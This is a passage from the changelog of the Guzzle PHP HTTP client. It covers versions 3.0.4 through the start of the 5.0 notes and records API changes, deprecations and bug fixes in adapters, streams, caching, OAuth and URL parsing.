  implemented in `GuzzleHttp\Utils` using camelCase. `GuzzleHttp\json_decode`
  moved to `GuzzleHttp\Utils::jsonDecode`. `GuzzleHttp\get_path` moved to
  `GuzzleHttp\Utils::getPath`. `GuzzleHttp\set_path` moved to
  `GuzzleHttp\Utils::setPath`. `GuzzleHttp\batch` should now be
  `GuzzleHttp\Pool::batch`, which returns an `objectStorage`. Using functions.php
  caused problems for many users: they aren't PSR-4 compliant, require an
  explicit include, and needed an if-guard to ensure that the functions are not
  declared multiple times.
* Rewrote adapter layer.
    * Removing all classes from `GuzzleHttp\Adapter`, these are now
      implemented as callables that are stored in `GuzzleHttp\Ring\Client`.
    * Removed the concept of "parallel adapters". Sending requests serially or
      concurrently is now handled using a single adapter.
    * Moved `GuzzleHttp\Adapter\Transaction` to `GuzzleHttp\Transaction`. The
      Transaction object now exposes the request, response, and client as public
      properties. The getters and setters have been removed.
* Removed the "headers" event. This event was only useful for changing the
  body a response once the headers of the response were known. You can implement
  a similar behavior in a number of ways. One example might be to use a
  FnStream that has access to the transaction being sent. For example, when the
  first byte is written, you could check if the response headers match your
  expectations, and if so, change the actual stream body that is being
  written to.
* Removed the `asArray` parameter from
  `GuzzleHttp\Message\MessageInterface::getHeader`. If you want to get a header
  value as an array, then use the newly added `getHeaderAsArray()` method of
  `MessageInterface`. This change makes the Guzzle interfaces compatible with
  the PSR-7 interfaces.
* `GuzzleHttp\Message\MessageFactory` no longer allows subclasses to add
  custom request options using double-dispatch (this was an implementation
  detail). Instead, you should now provide an associative array to the
  constructor which is a mapping of the request option name mapping to a
  function that applies the option value to a request.
* Removed the concept of "throwImmediately" from exceptions and error events.
  This control mechanism was used to stop a transfer of concurrent requests
  from completing. This can now be handled by throwing the exception or by
  cancelling a pool of requests or each outstanding future request individually.
* Updated to "GuzzleHttp\Streams" 3.0.
    * `GuzzleHttp\Stream\StreamInterface::getContents()` no longer accepts a
      `maxLen` parameter. This update makes the Guzzle streams project
      compatible with the current PSR-7 proposal.
    * `GuzzleHttp\Stream\Stream::__construct`,
      `GuzzleHttp\Stream\Stream::factory`, and
      `GuzzleHttp\Stream\Utils::create` no longer accept a size in the second
      argument. They now accept an associative array of options, including the
      "size" key and "metadata" key which can be used to provide custom metadata.


## 4.2.2 - 2014-09-08

* Fixed a memory leak in the CurlAdapter when reusing cURL handles.
* No longer using `request_fulluri` in stream adapter proxies.
* Relative redirects are now based on the last response, not the first response.

## 4.2.1 - 2014-08-19

* Ensuring that the StreamAdapter does not always add a Content-Type header
* Adding automated github releases with a phar and zip

## 4.2.0 - 2014-08-17

* Now merging in default options using a case-insensitive comparison.
  Closes https://github.com/guzzle/guzzle/issues/767
* Added the ability to automatically decode `Content-Encoding` response bodies
  using the `decode_content` request option. This is set to `true` by default
  to decode the response body if it comes over the wire with a
  `Content-Encoding`. Set this value to `false` to disable decoding the
  response content, and pass a string to provide a request `Accept-Encoding`
  header and turn on automatic response decoding. This feature now allows you
  to pass an `Accept-Encoding` header in the headers of a request but still
  disable automatic response decoding.
  Closes https://github.com/guzzle/guzzle/issues/764
* Added the ability to throw an exception immediately when transferring
  requests in parallel. Closes https://github.com/guzzle/guzzle/issues/760
* Updating guzzlehttp/streams dependency to ~2.1
* No longer utilizing the now deprecated namespaced methods from the stream
  package.

## 4.1.8 - 2014-08-14

* Fixed an issue in the CurlFactory that caused setting the `stream=false`
  request option to throw an exception.
  See: https://github.com/guzzle/guzzle/issues/769
* TransactionIterator now calls rewind on the inner iterator.
  See: https://github.com/guzzle/guzzle/pull/765
* You can now set the `Content-Type` header to `multipart/form-data`
  when creating POST requests to force multipart bodies.
  See https://github.com/guzzle/guzzle/issues/768

## 4.1.7 - 2014-08-07

* Fixed an error in the HistoryPlugin that caused the same request and response
  to be logged multiple times when an HTTP protocol error occurs.
* Ensuring that cURL does not add a default Content-Type when no Content-Type
  has been supplied by the user. This prevents the adapter layer from modifying
  the request that is sent over the wire after any listeners may have already
  put the request in a desired state (e.g., signed the request).
* Throwing an exception when you attempt to send requests that have the
  "stream" set to true in parallel using the MultiAdapter.
* Only calling curl_multi_select when there are active cURL handles. This was
  previously changed and caused performance problems on some systems due to PHP
  always selecting until the maximum select timeout.
* Fixed a bug where multipart/form-data POST fields were not correctly
  aggregated (e.g., values with "&").

## 4.1.6 - 2014-08-03

* Added helper methods to make it easier to represent messages as strings,
  including getting the start line and getting headers as a string.

## 4.1.5 - 2014-08-02

* Automatically retrying cURL "Connection died, retrying a fresh connect"
  errors when possible.
* cURL implementation cleanup
* Allowing multiple event subscriber listeners to be registered per event by
  passing an array of arrays of listener configuration.

## 4.1.4 - 2014-07-22

* Fixed a bug that caused multi-part POST requests with more than one field to
  serialize incorrectly.
* Paths can now be set to "0"
* `ResponseInterface::xml` now accepts a `libxml_options` option and added a
  missing default argument that was required when parsing XML response bodies.
* A `save_to` stream is now created lazily, which means that files are not
  created on disk unless a request succeeds.

## 4.1.3 - 2014-07-15

* Various fixes to multipart/form-data POST uploads
* Wrapping function.php in an if-statement to ensure Guzzle can be used
  globally and in a Composer install
* Fixed an issue with generating and merging in events to an event array
* POST headers are only applied before sending a request to allow you to change
  the query aggregator used before uploading
* Added much more robust query string parsing
* Fixed various parsing and normalization issues with URLs
* Fixing an issue where multi-valued headers were not being utilized correctly
  in the StreamAdapter

## 4.1.2 - 2014-06-18

* Added support for sending payloads with GET requests

## 4.1.1 - 2014-06-08

* Fixed an issue related to using custom message factory options in subclasses
* Fixed an issue with nested form fields in a multi-part POST
* Fixed an issue with using the `json` request option for POST requests
* Added `ToArrayInterface` to `GuzzleHttp\Cookie\CookieJar`

## 4.1.0 - 2014-05-27

* Added a `json` request option to easily serialize JSON payloads.
* Added a `GuzzleHttp\json_decode()` wrapper to safely parse JSON.
* Added `setPort()` and `getPort()` to `GuzzleHttp\Message\RequestInterface`.
* Added the ability to provide an emitter to a client in the client constructor.
* Added the ability to persist a cookie session using $_SESSION.
* Added a trait that can be used to add event listeners to an iterator.
* Removed request method constants from RequestInterface.
* Fixed warning when invalid request start-lines are received.
* Updated MessageFactory to work with custom request option methods.
* Updated cacert bundle to latest build.

4.0.2 (2014-04-16)
------------------

* Proxy requests using the StreamAdapter now properly use request_fulluri (#632)
* Added the ability to set scalars as POST fields (#628)

## 4.0.1 - 2014-04-04

* The HTTP status code of a response is now set as the exception code of
  RequestException objects.
* 303 redirects will now correctly switch from POST to GET requests.
* The default parallel adapter of a client now correctly uses the MultiAdapter.
* HasDataTrait now initializes the internal data array as an empty array so
  that the toArray() method always returns an array.

## 4.0.0 - 2014-03-29

* For information on changes and upgrading, see:
  https://github.com/guzzle/guzzle/blob/master/UPGRADING.md#3x-to-40
* Added `GuzzleHttp\batch()` as a convenience function for sending requests in
  parallel without needing to write asynchronous code.
* Restructured how events are added to `GuzzleHttp\ClientInterface::sendAll()`.
  You can now pass a callable or an array of associative arrays where each
  associative array contains the "fn", "priority", and "once" keys.

## 4.0.0.rc-2 - 2014-03-25

* Removed `getConfig()` and `setConfig()` from clients to avoid confusion
  around whether things like base_url, message_factory, etc. should be able to
  be retrieved or modified.
* Added `getDefaultOption()` and `setDefaultOption()` to ClientInterface
* functions.php functions were renamed using snake_case to match PHP idioms
* Added support for `HTTP_PROXY`, `HTTPS_PROXY`, and
  `GUZZLE_CURL_SELECT_TIMEOUT` environment variables
* Added the ability to specify custom `sendAll()` event priorities
* Added the ability to specify custom stream context options to the stream
  adapter.
* Added a functions.php function for `get_path()` and `set_path()`
* CurlAdapter and MultiAdapter now use a callable to generate curl resources
* MockAdapter now properly reads a body and emits a `headers` event
* Updated Url class to check if a scheme and host are set before adding ":"
  and "//". This allows empty Url (e.g., "") to be serialized as "".
* Parsing invalid XML no longer emits warnings
* Curl classes now properly throw AdapterExceptions
* Various performance optimizations
* Streams are created with the faster `Stream\create()` function
* Marked deprecation_proxy() as internal
* Test server is now a collection of static methods on a class

## 4.0.0-rc.1 - 2014-03-15

* See https://github.com/guzzle/guzzle/blob/master/UPGRADING.md#3x-to-40

## 3.8.1 - 2014-01-28

* Bug: Always using GET requests when redirecting from a 303 response
* Bug: CURLOPT_SSL_VERIFYHOST is now correctly set to false when setting `$certificateAuthority` to false in
  `Guzzle\Http\ClientInterface::setSslVerification()`
* Bug: RedirectPlugin now uses strict RFC 3986 compliance when combining a base URL with a relative URL
* Bug: The body of a request can now be set to `"0"`
* Sending PHP stream requests no longer forces `HTTP/1.0`
* Adding more information to ExceptionCollection exceptions so that users have more context, including a stack trace of
  each sub-exception
* Updated the `$ref` attribute in service descriptions to merge over any existing parameters of a schema (rather than
  clobbering everything).
* Merging URLs will now use the query string object from the relative URL (thus allowing custom query aggregators)
* Query strings are now parsed in a way that they do no convert empty keys with no value to have a dangling `=`.
  For example `foo&bar=baz` is now correctly parsed and recognized as `foo&bar=baz` rather than `foo=&bar=baz`.
* Now properly escaping the regular expression delimiter when matching Cookie domains.
* Network access is now disabled when loading XML documents

## 3.8.0 - 2013-12-05

* Added the ability to define a POST name for a file
* JSON response parsing now properly walks additionalProperties
* cURL error code 18 is now retried automatically in the BackoffPlugin
* Fixed a cURL error when URLs contain fragments
* Fixed an issue in the BackoffPlugin retry event where it was trying to access all exceptions as if they were
  CurlExceptions
* CURLOPT_PROGRESS function fix for PHP 5.5 (69fcc1e)
* Added the ability for Guzzle to work with older versions of cURL that do not support `CURLOPT_TIMEOUT_MS`
* Fixed a bug that was encountered when parsing empty header parameters
* UriTemplate now has a `setRegex()` method to match the docs
* The `debug` request parameter now checks if it is truthy rather than if it exists
* Setting the `debug` request parameter to true shows verbose cURL output instead of using the LogPlugin
* Added the ability to combine URLs using strict RFC 3986 compliance
* Command objects can now return the validation errors encountered by the command
* Various fixes to cache revalidation (#437 and 29797e5)
* Various fixes to the AsyncPlugin
* Cleaned up build scripts

## 3.7.4 - 2013-10-02

* Bug fix: 0 is now an allowed value in a description parameter that has a default value (#430)
* Bug fix: SchemaFormatter now returns an integer when formatting to a Unix timestamp
  (see https://github.com/aws/aws-sdk-php/issues/147)
* Bug fix: Cleaned up and fixed URL dot segment removal to properly resolve internal dots
* Minimum PHP version is now properly specified as 5.3.3 (up from 5.3.2) (#420)
* Updated the bundled cacert.pem (#419)
* OauthPlugin now supports adding authentication to headers or query string (#425)

## 3.7.3 - 2013-09-08

* Added the ability to get the exception associated with a request/command when using `MultiTransferException` and
  `CommandTransferException`.
* Setting `additionalParameters` of a response to false is now honored when parsing responses with a service description
* Schemas are only injected into response models when explicitly configured.
* No longer guessing Content-Type based on the path of a request. Content-Type is now only guessed based on the path of
  an EntityBody.
* Bug fix: ChunkedIterator can now properly chunk a \Traversable as well as an \Iterator.
* Bug fix: FilterIterator now relies on `\Iterator` instead of `\Traversable`.
* Bug fix: Gracefully handling malformed responses in RequestMediator::writeResponseBody()
* Bug fix: Replaced call to canCache with canCacheRequest in the CallbackCanCacheStrategy of the CachePlugin
* Bug fix: Visiting XML attributes first before visiting XML children when serializing requests
* Bug fix: Properly parsing headers that contain commas contained in quotes
* Bug fix: mimetype guessing based on a filename is now case-insensitive

## 3.7.2 - 2013-08-02

* Bug fix: Properly URL encoding paths when using the PHP-only version of the UriTemplate expander
  See https://github.com/guzzle/guzzle/issues/371
* Bug fix: Cookie domains are now matched correctly according to RFC 6265
  See https://github.com/guzzle/guzzle/issues/377
* Bug fix: GET parameters are now used when calculating an OAuth signature
* Bug fix: Fixed an issue with cache revalidation where the If-None-Match header was being double quoted
* `Guzzle\Common\AbstractHasDispatcher::dispatch()` now returns the event that was dispatched
* `Guzzle\Http\QueryString::factory()` now guesses the most appropriate query aggregator to used based on the input.
  See https://github.com/guzzle/guzzle/issues/379
* Added a way to add custom domain objects to service description parsing using the `operation.parse_class` event. See
  https://github.com/guzzle/guzzle/pull/380
* cURL multi cleanup and optimizations

## 3.7.1 - 2013-07-05

* Bug fix: Setting default options on a client now works
* Bug fix: Setting options on HEAD requests now works. See #352
* Bug fix: Moving stream factory before send event to before building the stream. See #353
* Bug fix: Cookies no longer match on IP addresses per RFC 6265
* Bug fix: Correctly parsing header parameters that are in `<>` and quotes
* Added `cert` and `ssl_key` as request options
* `Host` header can now diverge from the host part of a URL if the header is set manually
* `Guzzle\Service\Command\LocationVisitor\Request\XmlVisitor` was rewritten to change from using SimpleXML to XMLWriter
* OAuth parameters are only added via the plugin if they aren't already set
* Exceptions are now thrown when a URL cannot be parsed
* Returning `false` if `Guzzle\Http\EntityBody::getContentMd5()` fails
* Not setting a `Content-MD5` on a command if calculating the Content-MD5 fails via the CommandContentMd5Plugin

## 3.7.0 - 2013-06-10

* See UPGRADING.md for more information on how to upgrade.
* Requests now support the ability to specify an array of $options when creating a request to more easily modify a
  request. You can pass a 'request.options' configuration setting to a client to apply default request options to
  every request created by a client (e.g. default query string variables, headers, curl options, etc.).
* Added a static facade class that allows you to use Guzzle with static methods and mount the class to `\Guzzle`.
  See `Guzzle\Http\StaticClient::mount`.
* Added `command.request_options` to `Guzzle\Service\Command\AbstractCommand` to pass request options to requests
      created by a command (e.g. custom headers, query string variables, timeout settings, etc.).
* Stream size in `Guzzle\Stream\PhpStreamRequestFactory` will now be set if Content-Length is returned in the
  headers of a response
* Added `Guzzle\Common\Collection::setPath($path, $value)` to set a value into an array using a nested key
  (e.g. `$collection->setPath('foo/baz/bar', 'test'); echo $collection['foo']['bar']['bar'];`)
* ServiceBuilders now support storing and retrieving arbitrary data
* CachePlugin can now purge all resources for a given URI
* CachePlugin can automatically purge matching cached items when a non-idempotent request is sent to a resource
* CachePlugin now uses the Vary header to determine if a resource is a cache hit
* `Guzzle\Http\Message\Response` now implements `\Serializable`
* Added `Guzzle\Cache\CacheAdapterFactory::fromCache()` to more easily create cache adapters
* `Guzzle\Service\ClientInterface::execute()` now accepts an array, single command, or Traversable
* Fixed a bug in `Guzzle\Http\Message\Header\Link::addLink()`
* Better handling of calculating the size of a stream in `Guzzle\Stream\Stream` using fstat() and caching the size
* `Guzzle\Common\Exception\ExceptionCollection` now creates a more readable exception message
* Fixing BC break: Added back the MonologLogAdapter implementation rather than extending from PsrLog so that older
  Symfony users can still use the old version of Monolog.
* Fixing BC break: Added the implementation back in for `Guzzle\Http\Message\AbstractMessage::getTokenizedHeader()`.
  Now triggering an E_USER_DEPRECATED warning when used. Use `$message->getHeader()->parseParams()`.
* Several performance improvements to `Guzzle\Common\Collection`
* Added an `$options` argument to the end of the following methods of `Guzzle\Http\ClientInterface`:
  createRequest, head, delete, put, patch, post, options, prepareRequest
* Added an `$options` argument to the end of `Guzzle\Http\Message\Request\RequestFactoryInterface::createRequest()`
* Added an `applyOptions()` method to `Guzzle\Http\Message\Request\RequestFactoryInterface`
* Changed `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $body = null)` to
  `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $options = array())`. You can still pass in a
  resource, string, or EntityBody into the $options parameter to specify the download location of the response.
* Changed `Guzzle\Common\Collection::__construct($data)` to no longer accepts a null value for `$data` but a
  default `array()`
* Added `Guzzle\Stream\StreamInterface::isRepeatable`
* Removed `Guzzle\Http\ClientInterface::setDefaultHeaders(). Use
  $client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. or
  $client->getConfig()->setPath('request.options/headers', array('header_name' => 'value'))`.
* Removed `Guzzle\Http\ClientInterface::getDefaultHeaders(). Use $client->getConfig()->getPath('request.options/headers')`.
* Removed `Guzzle\Http\ClientInterface::expandTemplate()`
* Removed `Guzzle\Http\ClientInterface::setRequestFactory()`
* Removed `Guzzle\Http\ClientInterface::getCurlMulti()`
* Removed `Guzzle\Http\Message\RequestInterface::canCache`
* Removed `Guzzle\Http\Message\RequestInterface::setIsRedirect`
* Removed `Guzzle\Http\Message\RequestInterface::isRedirect`
* Made `Guzzle\Http\Client::expandTemplate` and `getUriTemplate` protected methods.
* You can now enable E_USER_DEPRECATED warnings to see if you are using a deprecated method by setting
  `Guzzle\Common\Version::$emitWarnings` to true.
* Marked `Guzzle\Http\Message\Request::isResponseBodyRepeatable()` as deprecated. Use
      `$request->getResponseBody()->isRepeatable()` instead.
* Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use
  `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead.
* Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use
  `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead.
* Marked `Guzzle\Http\Message\Request::setIsRedirect()` as deprecated. Use the HistoryPlugin instead.
* Marked `Guzzle\Http\Message\Request::isRedirect()` as deprecated. Use the HistoryPlugin instead.
* Marked `Guzzle\Cache\CacheAdapterFactory::factory()` as deprecated
* Marked 'command.headers', 'command.response_body' and 'command.on_complete' as deprecated for AbstractCommand.
  These will work through Guzzle 4.0
* Marked 'request.params' for `Guzzle\Http\Client` as deprecated. Use [request.options][params].
* Marked `Guzzle\Service\Client::enableMagicMethods()` as deprecated. Magic methods can no longer be disabled on a Guzzle\Service\Client.
* Marked `Guzzle\Service\Client::getDefaultHeaders()` as deprecated. Use $client->getConfig()->getPath('request.options/headers')`.
* Marked `Guzzle\Service\Client::setDefaultHeaders()` as deprecated. Use $client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`.
* Marked `Guzzle\Parser\Url\UrlParser` as deprecated. Just use PHP's `parse_url()` and percent encode your UTF-8.
* Marked `Guzzle\Common\Collection::inject()` as deprecated.
* Marked `Guzzle\Plugin\CurlAuth\CurlAuthPlugin` as deprecated. Use `$client->getConfig()->setPath('request.options/auth', array('user', 'pass', 'Basic|Digest');`
* CacheKeyProviderInterface and DefaultCacheKeyProvider are no longer used. All of this logic is handled in a
  CacheStorageInterface. These two objects and interface will be removed in a future version.
* Always setting X-cache headers on cached responses
* Default cache TTLs are now handled by the CacheStorageInterface of a CachePlugin
* `CacheStorageInterface::cache($key, Response $response, $ttl = null)` has changed to `cache(RequestInterface
  $request, Response $response);`
* `CacheStorageInterface::fetch($key)` has changed to `fetch(RequestInterface $request);`
* `CacheStorageInterface::delete($key)` has changed to `delete(RequestInterface $request);`
* Added `CacheStorageInterface::purge($url)`
* `DefaultRevalidation::__construct(CacheKeyProviderInterface $cacheKey, CacheStorageInterface $cache, CachePlugin
  $plugin)` has changed to `DefaultRevalidation::__construct(CacheStorageInterface $cache,
  CanCacheStrategyInterface $canCache = null)`
* Added `RevalidationInterface::shouldRevalidate(RequestInterface $request, Response $response)`

## 3.6.0 - 2013-05-29

* ServiceDescription now implements ToArrayInterface
* Added command.hidden_params to blacklist certain headers from being treated as additionalParameters
* Guzzle can now correctly parse incomplete URLs
* Mixed casing of headers are now forced to be a single consistent casing across all values for that header.
* Messages internally use a HeaderCollection object to delegate handling case-insensitive header resolution
* Removed the whole changedHeader() function system of messages because all header changes now go through addHeader().
* Specific header implementations can be created for complex headers. When a message creates a header, it uses a
  HeaderFactory which can map specific headers to specific header classes. There is now a Link header and
  CacheControl header implementation.
* Removed from interface: Guzzle\Http\ClientInterface::setUriTemplate
* Removed from interface: Guzzle\Http\ClientInterface::setCurlMulti()
* Removed Guzzle\Http\Message\Request::receivedRequestHeader() and implemented this functionality in
  Guzzle\Http\Curl\RequestMediator
* Removed the optional $asString parameter from MessageInterface::getHeader(). Just cast the header to a string.
* Removed the optional $tryChunkedTransfer option from Guzzle\Http\Message\EntityEnclosingRequestInterface
* Removed the $asObjects argument from Guzzle\Http\Message\MessageInterface::getHeaders()
* Removed Guzzle\Parser\ParserRegister::get(). Use getParser()
* Removed Guzzle\Parser\ParserRegister::set(). Use registerParser().
* All response header helper functions return a string rather than mixing Header objects and strings inconsistently
* Removed cURL blacklist support. This is no longer necessary now that Expect, Accept, etc. are managed by Guzzle
  directly via interfaces
* Removed the injecting of a request object onto a response object. The methods to get and set a request still exist
  but are a no-op until removed.
* Most classes that used to require a `Guzzle\Service\Command\CommandInterface` typehint now request a
  `Guzzle\Service\Command\ArrayCommandInterface`.
* Added `Guzzle\Http\Message\RequestInterface::startResponse()` to the RequestInterface to handle injecting a response
  on a request while the request is still being transferred
* The ability to case-insensitively search for header values
* Guzzle\Http\Message\Header::hasExactHeader
* Guzzle\Http\Message\Header::raw. Use getAll()
* Deprecated cache control specific methods on Guzzle\Http\Message\AbstractMessage. Use the CacheControl header object
  instead.
* `Guzzle\Service\Command\CommandInterface` now extends from ToArrayInterface and ArrayAccess
* Added the ability to cast Model objects to a string to view debug information.

## 3.5.0 - 2013-05-13

* Bug: Fixed a regression so that request responses are parsed only once per oncomplete event rather than multiple times
* Bug: Better cleanup of one-time events across the board (when an event is meant to fire once, it will now remove
  itself from the EventDispatcher)
* Bug: `Guzzle\Log\MessageFormatter` now properly writes "total_time" and "connect_time" values
* Bug: Cloning an EntityEnclosingRequest now clones the EntityBody too
* Bug: Fixed an undefined index error when parsing nested JSON responses with a sentAs parameter that reference a
  non-existent key
* Bug: All __call() method arguments are now required (helps with mocking frameworks)
* Deprecating Response::getRequest() and now using a shallow clone of a request object to remove a circular reference
  to help with refcount based garbage collection of resources created by sending a request
* Deprecating ZF1 cache and log adapters. These will be removed in the next major version.
* Deprecating `Response::getPreviousResponse()` (method signature still exists, but it's deprecated). Use the
  HistoryPlugin for a history.
* Added a `responseBody` alias for the `response_body` location
* Refactored internals to no longer rely on Response::getRequest()
* HistoryPlugin can now be cast to a string
* HistoryPlugin now logs transactions rather than requests and responses to more accurately keep track of the requests
  and responses that are sent over the wire
* Added `getEffectiveUrl()` and `getRedirectCount()` to Response objects

## 3.4.3 - 2013-04-30

* Bug fix: Fixing bug introduced in 3.4.2 where redirect responses are duplicated on the final redirected response
* Added a check to re-extract the temp cacert bundle from the phar before sending each request

## 3.4.2 - 2013-04-29

* Bug fix: Stream objects now work correctly with "a" and "a+" modes
* Bug fix: Removing `Transfer-Encoding: chunked` header when a Content-Length is present
* Bug fix: AsyncPlugin no longer forces HEAD requests
* Bug fix: DateTime timezones are now properly handled when using the service description schema formatter
* Bug fix: CachePlugin now properly handles stale-if-error directives when a request to the origin server fails
* Setting a response on a request will write to the custom request body from the response body if one is specified
* LogPlugin now writes to php://output when STDERR is undefined
* Added the ability to set multiple POST files for the same key in a single call
* application/x-www-form-urlencoded POSTs now use the utf-8 charset by default
* Added the ability to queue CurlExceptions to the MockPlugin
* Cleaned up how manual responses are queued on requests (removed "queued_response" and now using request.before_send)
* Configuration loading now allows remote files

## 3.4.1 - 2013-04-16

* Large refactoring to how CurlMulti handles work. There is now a proxy that sits in front of a pool of CurlMulti
  handles. This greatly simplifies the implementation, fixes a couple bugs, and provides a small performance boost.
* Exceptions are now properly grouped when sending requests in parallel
* Redirects are now properly aggregated when a multi transaction fails
* Redirects now set the response on the original object even in the event of a failure
* Bug fix: Model names are now properly set even when using $refs
* Added support for PHP 5.5's CurlFile to prevent warnings with the deprecated @ syntax
* Added support for oauth_callback in OAuth signatures
* Added support for oauth_verifier in OAuth signatures
* Added support to attempt to retrieve a command first literally, then ucfirst, the with inflection

## 3.4.0 - 2013-04-11

* Bug fix: URLs are now resolved correctly based on https://datatracker.ietf.org/doc/html/rfc3986#section-5.2. #289
* Bug fix: Absolute URLs with a path in a service description will now properly override the base URL. #289
* Bug fix: Parsing a query string with a single PHP array value will now result in an array. #263
* Bug fix: Better normalization of the User-Agent header to prevent duplicate headers. #264.
* Bug fix: Added `number` type to service descriptions.
* Bug fix: empty parameters are removed from an OAuth signature
* Bug fix: Revalidating a cache entry prefers the Last-Modified over the Date header
* Bug fix: Fixed "array to string" error when validating a union of types in a service description
* Bug fix: Removed code that attempted to determine the size of a stream when data is written to the stream
* Bug fix: Not including an `oauth_token` if the value is null in the OauthPlugin.
* Bug fix: Now correctly aggregating successful requests and failed requests in CurlMulti when a redirect occurs.
* The new default CURLOPT_TIMEOUT setting has been increased to 150 seconds so that Guzzle works on poor connections.
* Added a feature to EntityEnclosingRequest::setBody() that will automatically set the Content-Type of the request if
  the Content-Type can be determined based on the entity body or the path of the request.
* Added the ability to overwrite configuration settings in a client when grabbing a throwaway client from a builder.
* Added support for a PSR-3 LogAdapter.
* Added a `command.after_prepare` event
* Added `oauth_callback` parameter to the OauthPlugin
* Added the ability to create a custom stream class when using a stream factory
* Added a CachingEntityBody decorator
* Added support for `additionalParameters` in service descriptions to define how custom parameters are serialized.
* The bundled SSL certificate is now provided in the phar file and extracted when running Guzzle from a phar.
* You can now send any EntityEnclosingRequest with POST fields or POST files and cURL will handle creating bodies
* POST requests using a custom entity body are now treated exactly like PUT requests but with a custom cURL method. This
  means that the redirect behavior of POST requests with custom bodies will not be the same as POST requests that use
  POST fields or files (the latter is only used when emulating a form POST in the browser).
* Lots of cleanup to CurlHandle::factory and RequestFactory::createRequest

## 3.3.1 - 2013-03-10

* Added the ability to create PHP streaming responses from HTTP requests
* Bug fix: Running any filters when parsing response headers with service descriptions
* Bug fix: OauthPlugin fixes to allow for multi-dimensional array signing, and sorting parameters before signing
* Bug fix: Removed the adding of default empty arrays and false Booleans to responses in order to be consistent across
  response location visitors.
* Bug fix: Removed the possibility of creating configuration files with circular dependencies
* RequestFactory::create() now uses the key of a POST file when setting the POST file name
* Added xmlAllowEmpty to serialize an XML body even if no XML specific parameters are set

## 3.3.0 - 2013-03-03

* A large number of performance optimizations have been made
* Bug fix: Added 'wb' as a valid write mode for streams
* Bug fix: `Guzzle\Http\Message\Response::json()` now allows scalar values to be returned
* Bug fix: Fixed bug in `Guzzle\Http\Message\Response` where wrapping quotes were stripped from `getEtag()`
* BC: Removed `Guzzle\Http\Utils` class
* BC: Setting a service description on a client will no longer modify the client's command factories.
* BC: Emitting IO events from a RequestMediator is now a parameter that must be set in a request's curl options using
  the 'emit_io' key. This was previously set under a request's parameters using 'curl.emit_io'
* BC: `Guzzle\Stream\Stream::getWrapper()` and `Guzzle\Stream\Stream::getSteamType()` are no longer converted to
  lowercase
* Operation parameter objects are now lazy loaded internally
* Added ErrorResponsePlugin that can throw errors for responses defined in service description operations' errorResponses
* Added support for instantiating responseType=class responseClass classes. Classes must implement
  `Guzzle\Service\Command\ResponseClassInterface`
* Added support for additionalProperties for top-level parameters in responseType=model responseClasses. These
  additional properties also support locations and can be used to parse JSON responses where the outermost part of the
  JSON is an array
* Added support for nested renaming of JSON models (rename sentAs to name)
* CachePlugin
    * Added support for stale-if-error so that the CachePlugin can now serve stale content from the cache on error
    * Debug headers can now added to cached response in the CachePlugin

## 3.2.0 - 2013-02-14

* CurlMulti is no longer reused globally. A new multi object is created per-client. This helps to isolate clients.
* URLs with no path no longer contain a "/" by default
* Guzzle\Http\QueryString does no longer manages the leading "?". This is now handled in Guzzle\Http\Url.
* BadResponseException no longer includes the full request and response message
* Adding setData() to Guzzle\Service\Description\ServiceDescriptionInterface
* Adding getResponseBody() to Guzzle\Http\Message\RequestInterface
* Various updates to classes to use ServiceDescriptionInterface type hints rather than ServiceDescription
* Header values can now be normalized into distinct values when multiple headers are combined with a comma separated list
* xmlEncoding can now be customized for the XML declaration of a XML service description operation
* Guzzle\Http\QueryString now uses Guzzle\Http\QueryAggregator\QueryAggregatorInterface objects to add custom value
  aggregation and no longer uses callbacks
* The URL encoding implementation of Guzzle\Http\QueryString can now be customized
* Bug fix: Filters were not always invoked for array service description parameters
* Bug fix: Redirects now use a target response body rather than a temporary response body
* Bug fix: The default exponential backoff BackoffPlugin was not giving when the request threshold was exceeded
* Bug fix: Guzzle now takes the first found value when grabbing Cache-Control directives

## 3.1.2 - 2013-01-27

* Refactored how operation responses are parsed. Visitors now include a before() method responsible for parsing the
  response body. For example, the XmlVisitor now parses the XML response into an array in the before() method.
* Fixed an issue where cURL would not automatically decompress responses when the Accept-Encoding header was sent
* CURLOPT_SSL_VERIFYHOST is never set to 1 because it is deprecated (see 5e0ff2ef20f839e19d1eeb298f90ba3598784444)
* Fixed a bug where redirect responses were not chained correctly using getPreviousResponse()
* Setting default headers on a client after setting the user-agent will not erase the user-agent setting

## 3.1.1 - 2013-01-20

* Adding wildcard support to Guzzle\Common\Collection::getPath()
* Adding alias support to ServiceBuilder configs
* Adding Guzzle\Service\Resource\CompositeResourceIteratorFactory and cleaning up factory interface

## 3.1.0 - 2013-01-12

* BC: CurlException now extends from RequestException rather than BadResponseException
* BC: Renamed Guzzle\Plugin\Cache\CanCacheStrategyInterface::canCache() to canCacheRequest() and added CanCacheResponse()
* Added getData to ServiceDescriptionInterface
* Added context array to RequestInterface::setState()
* Bug: Removing hard dependency on the BackoffPlugin from Guzzle\Http
* Bug: Adding required content-type when JSON request visitor adds JSON to a command
* Bug: Fixing the serialization of a service description with custom data
* Made it easier to deal with exceptions thrown when transferring commands or requests in parallel by providing
  an array of successful and failed responses
* Moved getPath from Guzzle\Service\Resource\Model to Guzzle\Common\Collection
* Added Guzzle\Http\IoEmittingEntityBody
* Moved command filtration from validators to location visitors
* Added `extends` attributes to service description parameters
* Added getModels to ServiceDescriptionInterface

## 3.0.7 - 2012-12-19

* Fixing phar detection when forcing a cacert to system if null or true
* Allowing filename to be passed to `Guzzle\Http\Message\Request::setResponseBody()`
* Cleaning up `Guzzle\Common\Collection::inject` method
* Adding a response_body location to service descriptions

## 3.0.6 - 2012-12-09

* CurlMulti performance improvements
* Adding setErrorResponses() to Operation
* composer.json tweaks

## 3.0.5 - 2012-11-18

* Bug: Fixing an infinite recursion bug caused from revalidating with the CachePlugin
* Bug: Response body can now be a string containing "0"
* Bug: Using Guzzle inside of a phar uses system by default but now allows for a custom cacert
* Bug: QueryString::fromString now properly parses query string parameters that contain equal signs
* Added support for XML attributes in service description responses
* DefaultRequestSerializer now supports array URI parameter values for URI template expansion
* Added better mimetype guessing to requests and post files

## 3.0.4 - 2012-11-11

* Bug: Fixed a bug when adding multiple cookies to a request to use the correct glue value
